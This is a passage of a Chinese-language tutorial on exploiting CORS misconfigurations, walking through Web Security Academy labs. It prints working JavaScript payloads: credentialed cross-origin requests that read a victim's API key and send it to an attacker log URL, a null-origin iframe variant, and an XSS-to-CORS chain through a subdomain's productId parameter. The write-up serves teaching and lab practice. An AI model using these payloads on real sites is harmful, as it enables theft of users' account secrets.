跨域漏洞那些事儿(cors、jsonp)( 二 )


恶意脚本:
<script>
var req = new XMLHttpRequest;
req.onload = reqListener;
// 打开api密钥链接
req.open('get','https://ac0c1f2b1efc321180e1a18c007100d3.web-security-academy.net/accountDetails',true);
// 设置为true可以保证,请求的时候携带cookie
req.withCredentials = true;
req.send;
//将访问api密钥得到的数据,拼接到url中访问自己服务,即可在服务器web日志中找到api密钥信息
function reqListener {
location='/log?key='+this.responseText;
};
</script>
获取到的密钥:

跨域漏洞那些事儿(cors、jsonp)

文章插图
1.2 来源(origin) 可为的cors漏洞
在某些应用程序中可能会将列入白名单,以支持本地应用程序的开发 。
origin标头不可以设置为任意标头了,尝试设置为,此时可以获取到数据,说明存在请求来源可为的cors漏洞
跨域漏洞那些事儿(cors、jsonp)

文章插图
本地html测试:
测试exp:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest;
req.onload = reqListener;
req.open('get','https://ac8d1f4c1ebc2af2806b9d9d00df0041.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send;
console.log(this.responseText);
</script>"></iframe>
跨域漏洞那些事儿(cors、jsonp)

文章插图
此时我们继续采用实验一的攻击思路:
部署一个恶意脚本到我们的网站上,并将该网址链接发送给要攻击的小王,小王只要访问了我们的链接,我们即可获取到小王的api密钥
编写exp:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest;
req.onload = reqListener;
req.open('get','https://ac8d1f4c1ebc2af2806b9d9d00df0041.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send;
function reqListener {
//恶意网站
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
1.3 利用信任子域的xss获取主域的敏感信息
有些服务器的配置为:
Access-Control-Allow-Origin: http://*.test.com
这个配置乍一看没问题,信任自己的子域不是很正常吗,但是子域成百上千的大网站中,子域就特别容易出问题,找个xss既有可能严重威胁到主站 。而且该配置也不符合最小信任原则,通配符不能随便用,应该设置为固定值 。例如:
Access-Control-Allow-Origin: http://login.test.com 此时只要保证login.test.com没问题即可确保主站不会遭受cors攻击
在该实验三中将来源(origin)设置为任意子域,如:
跨域漏洞那些事儿(cors、jsonp)

文章插图
设置为不存在的example子域,依旧可以访问敏感数据
正好该网站的检查库存会将单价信息返回到子域,并且productId参数存在xss漏洞
跨域漏洞那些事儿(cors、jsonp)

文章插图
所以想到一个利用链:
子域触发xss--->访问主域敏感信息--->将敏感信息保存到任意网站
exp:
<script>
document.location="http://stock.ac671f961e9e127a8052d5200051006e.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest; req.onload = reqListener; req.open('get','https://ac671f961e9e127a8052d5200051006e.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send;function reqListener {location='https://ac021ff51e53121f804ed5d3013300da.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
exp解释:
<script>
//子域触发xss,xss访问主域敏感信息
document.location="http://stock.ac671f961e9e127a8052d5200051006e.web-security-academy.net/
?productId=4
//采用原生js http请求将获取到的内容,保存到主机
<script>var req = new XMLHttpRequest;
req.onload = reqListener;
//访问敏感信息
req.open('get','https://ac671f961e9e127a8052d5200051006e.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send;
function reqListener {
//携带敏感信息,get请求访问主机,主机log日志即可出现用户apikey
location='https://ac021ff51e53121f804ed5d3013300da.web-security-academy.net/log?key='%2bthis.responseText; };


推荐阅读